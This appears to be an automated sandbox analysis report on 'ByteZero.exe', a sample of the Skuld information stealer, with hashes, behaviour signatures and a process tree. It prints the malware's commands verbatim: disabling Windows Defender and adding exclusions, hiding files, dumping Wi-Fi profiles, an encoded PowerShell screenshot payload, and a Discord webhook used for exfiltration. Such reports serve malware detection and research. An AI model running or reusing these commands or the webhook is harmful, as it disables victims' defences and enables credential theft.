Analysis

  • max time kernel
    11s
  • max time network
    12s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-07-2024 02:48

General

  • Target

    ByteZero.exe

  • Size

    9.5MB

  • MD5

    df00bc36e9b00874ff8f495a29d9f429

  • SHA1

    3f3140a188943673e7b90b819005548042c9b675

  • SHA256

    27e10c80006f2080f85b3b9aff0d165044d1954385ea16d6e48dabaa6a1ec5af

  • SHA512

    c79ce66d9c73e64cc3060437bf9d2f9f3f17067b0e4ebb8b30d4863ec417ad1f95c315810168d34058f82804ca59a1d8f442d81c265e57dc330670025b152f88

  • SSDEEP

    98304:YVMHJFAvLQWabWp2le10+9XTA8E6oMsaSk5e/UI:PFAvLCev10+9DA16oM1e/UI

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1260739914253991956/NKvC4KymlhPTNJNmbkQtDwm5AXdtAESkrV95KgMKN5kz9Z_06X949ZzR7jGGnoW0AnBX

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ByteZero.exe
    "C:\Users\Admin\AppData\Local\Temp\ByteZero.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3036
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\ByteZero.exe
      2⤵
      • Views/modifies file attributes
      PID:2436
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4580
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4932
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:4168
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:4612
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\ByteZero.exe
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3548
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:4048
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:3700
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1500
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:3144
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:3644
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:2132
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:3128
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of WriteProcessMemory
            PID:400
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2rkomjmd\2rkomjmd.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3988
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES901A.tmp" "c:\Users\Admin\AppData\Local\Temp\2rkomjmd\CSCD7C89A5DDD8D4A5099DC45FD53F6B27D.TMP"
                4⤵
                  PID:2520

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            77d622bb1a5b250869a3238b9bc1402b

            SHA1

            d47f4003c2554b9dfc4c16f22460b331886b191b

            SHA256

            f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

            SHA512

            d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            22310ad6749d8cc38284aa616efcd100

            SHA1

            440ef4a0a53bfa7c83fe84326a1dff4326dcb515

            SHA256

            55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

            SHA512

            2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

          • C:\Users\Admin\AppData\Local\Temp\2rkomjmd\2rkomjmd.dll

            Filesize

            4KB

            MD5

            fc45761e98970216f16b485181970e70

            SHA1

            954f2120c8b9a83b514283aa6074f0162ea4252a

            SHA256

            da446f5c6331819717e315e8623b17524cc737cae7fd55ba43d8f647b0a69f13

            SHA512

            76b2030609a88014055759a58a562f1ab064dd9a90f91039d45e39e594f505a112f232bbb54bcfce5e626b18c4361eb196844907c3f130bd1a3085a2604d8987

          • C:\Users\Admin\AppData\Local\Temp\FAhlkYRJag\Display (1).png

            Filesize

            427KB

            MD5

            b031401974546c3822d5409b961bee3c

            SHA1

            adc6bf8a4b6b6e4bee23d4da1a3e5ad77b26b2fd

            SHA256

            a82d603cca9364ca04965dd5098809e248b60d04b74708ba862ec5fe9a4f50ec

            SHA512

            46a95e12586700f985e911b139c54ac6030730b32ecb7370bd3714d1eba2d35425433ce14a21ceb20dadcc7c2d16e7b4545ad6d12217f611a94eede25df340b7

          • C:\Users\Admin\AppData\Local\Temp\RES901A.tmp

            Filesize

            1KB

            MD5

            731d8f2c6be78240e4d12e3286b9eb4a

            SHA1

            558d53a75699d8c55eee75e81f8324db4f2946f2

            SHA256

            cbfa984203cb385013e73f1d5cd086c32090d3c2860b88fed3a8e793ef28bc6d

            SHA512

            055130935ad5e5512d708f66a2f2965723f9ee37a5e9d5cec2bf16e6ab5d64c0e86b07c0089ba6a7227c5ee4fd2ab062d1dd34ce8df76b5eafddb9d97458d49c

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nnx1xmdw.l4f.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

            Filesize

            9.5MB

            MD5

            df00bc36e9b00874ff8f495a29d9f429

            SHA1

            3f3140a188943673e7b90b819005548042c9b675

            SHA256

            27e10c80006f2080f85b3b9aff0d165044d1954385ea16d6e48dabaa6a1ec5af

            SHA512

            c79ce66d9c73e64cc3060437bf9d2f9f3f17067b0e4ebb8b30d4863ec417ad1f95c315810168d34058f82804ca59a1d8f442d81c265e57dc330670025b152f88

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\2rkomjmd\2rkomjmd.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\2rkomjmd\2rkomjmd.cmdline

            Filesize

            607B

            MD5

            53f5000c59934d05a22146b99776505d

            SHA1

            67bd982eb40b9aa4e27d1b71ce6bb515eeca9fcd

            SHA256

            252e49a3df8d6178208c0b15257c8fb91ea525b09ff4263c77c55daed7098fea

            SHA512

            09ff3a9f7604485258bf3ab70e2802b17e9133641dbc813fccbda8d87828fa3d94b100b79764c2cf2af4b6f59e2d0b136e2e49d524f59c0e286559c0e617d3df

          • \??\c:\Users\Admin\AppData\Local\Temp\2rkomjmd\CSCD7C89A5DDD8D4A5099DC45FD53F6B27D.TMP

            Filesize

            652B

            MD5

            c6704cae60cd4d2a53b76a798216ad53

            SHA1

            fdb71a7de64ad344658d69e13d654c95d438f894

            SHA256

            b289f6b261bdd61007154b86df12b608643d07809645d11b0f928ecf7fd4ea65

            SHA512

            186521a403c7ae1de3b594000075012cc3c8299730a157a9f83e7458ebc61922198c1ce040572e996d534b159b287ea670062c0dbd1b8f220c403c43e4a0aace

          • memory/400-57-0x0000015630FA0000-0x0000015630FA8000-memory.dmp

            Filesize

            32KB

          • memory/3548-14-0x000001A714EA0000-0x000001A714EC2000-memory.dmp

            Filesize

            136KB